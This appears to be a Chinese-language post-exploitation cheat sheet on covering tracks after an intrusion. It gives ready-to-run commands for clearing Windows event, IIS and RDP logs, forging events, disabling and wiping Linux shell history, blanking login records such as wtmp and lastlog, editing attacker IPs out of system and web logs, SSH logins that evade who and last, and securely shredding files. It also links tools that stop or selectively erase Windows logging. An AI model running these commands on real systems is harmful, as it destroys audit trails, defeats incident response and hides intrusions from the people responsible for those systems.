后渗透-清理痕迹

1.简介

在进行各类攻防项目时需要好好的保护自己。整理windows和linux痕迹清理方法。

2.windows痕迹清理

使用msf清理

1
meterpreter> run event_manager -c

有远程权限清理的手动清理路径

开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

使用wevtutil清理

1
2
3
4
wevtutil el             列出系统中所有日志名称
wevtutil cl system 清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security 清理安全日志

用powershell全清理

1
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}" & Powershell -Command "Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}"

清理iis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.停止服务:
net stop w3svc
2.删除日志目录下所有文件:
del *.*
3.重新启用服务:
net start w3svc

IIS日志存放地址:
Windows Server 2003 iis 6日志路径:
C:\Windows\System32\LogFiles
Windows Server 2008 R2、2012、2016、2019 iis7以上日志路径:
C:\inetpub\logs\LogFiles

由于每个网站,iis 都会自动生成一个保存日志的文件夹,所以具体 iis日志位置在 LogFiles 文件夹中的一个子文件夹里,例如:
C:\Windows\System32\LogFiles\W3SVC2
C:\inetpub\logs\LogFiles\W3SVC1

rdp记录清理

1
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server ClientDefault" /va /f&reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f&reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"&del /ah %homepath%\documents\default.rdp

windows文件安全删除

1
2
3
4
5
6
7
8
1.Cipher 命令多次覆写:
cipher /w:D:\文件名
2.Format命令覆盖格式化:
format D: /P:8

Tips:
1.在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复.
2.Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖.而且可以覆盖多次,上述这条命令表示把 D 盘用随机数覆盖 8 次.

替换日志

1
2
3
4
5
6
7
8
1.利用脚本停止日志的记录:
https://github.com/hlldz/Invoke-Phant0m

2.Windows 单条日志清除:
https://github.com/QAX-A-Team/EventCleaner

3.Windows日志伪造:
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

3.linux痕迹清理

首先针对.bash开头的文件进行处理如.bash_history.bash_logout

在当前shell中直接输入命令HISTSIZE=0 && HISTFILESIZE=0,这样会将缓存的history记录和/.bash_history中的记录全部清空;如果在/.bashrc初始化文件中添加命令:HISTSIZE=0 && HISTFILESIZE=0,这样每次开启shell都不会再记录history命令。

本次不记录任何信息

1
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

清除history

1
2
3
4
5
6
vim ~/.bash_history
删除不想要的部分,dd删除一整行
Esc,输入:wq,回车

清理当前用户的history
history -c

linux日志全清理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
echo > /var/log/btmp;echo > /var/log/wtmp;echo > /var/log/lastlog;echo > /var/log/utmp;cat /dev/null > /var/log/secure;cat /dev/null > /var/log/message;echo ok
1.清除登录系统失败的记录:
echo > /var/log/btmp

2.清除登录系统成功的记录:
echo > /var/log/wtmp

3.清除用户最后一次登录时间:
echo > /var/log/lastlog

4.清除当前登录用户的信息:
echo > /var/log/utmp

5.清除安全日志记录:
cat /dev/null > /var/log/secure

6.清除系统日志记录:
cat /dev/null > /var/log/message

替换

1
2
3
4
5
删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip:
sed -i '/10.10.10.10/'d /var/log/messages

全局替换登录IP地址:
sed -i 's/10.10.10.10/192.168.1.1/g' secure

linux web日志清理

1
2
3
4
5
6
7
8
9
直接替换日志ip地址:
sed -i 's/10.10.10.10/192.168.1.1/g' access.log

清除部分相关日志:
使用grep -v来把相关信息删除:
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log

把修改过的日志覆盖到原日志文件:
cat tmp.log > /var/log/nginx/access.log/

linux 隐身登录ssh (不被w who last命令检测)

1
ssh -T root@10.10.10.10 /bin/bash -i

不记录ssh公钥

1
ssh -o UserKnownHostsFile=/dev/null -T root@10.10.10.10 /bin/bash -i

文件安全删除

1
2
3
4
5
6
7
8
shred命令擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数:
shred -f -u -z -v -n 8 <要删除的文件>

dd命令:
dd if=/dev/zero of=<要删除的文件> bs=<大小> count=<写入的次数>

wipe命令:
wipe <要删除的文件>

4.参考链接

[Wiping logs from target with clearev command - Metasploit Revealed: Secrets of the Expert Pentester Book] (oreilly.com)

6.1.4. 痕迹清理 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)

6.2.3. 痕迹清理 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)

Windows 入侵痕迹清理技巧 (qq.com)

Linux 入侵痕迹清理技巧 (qq.com)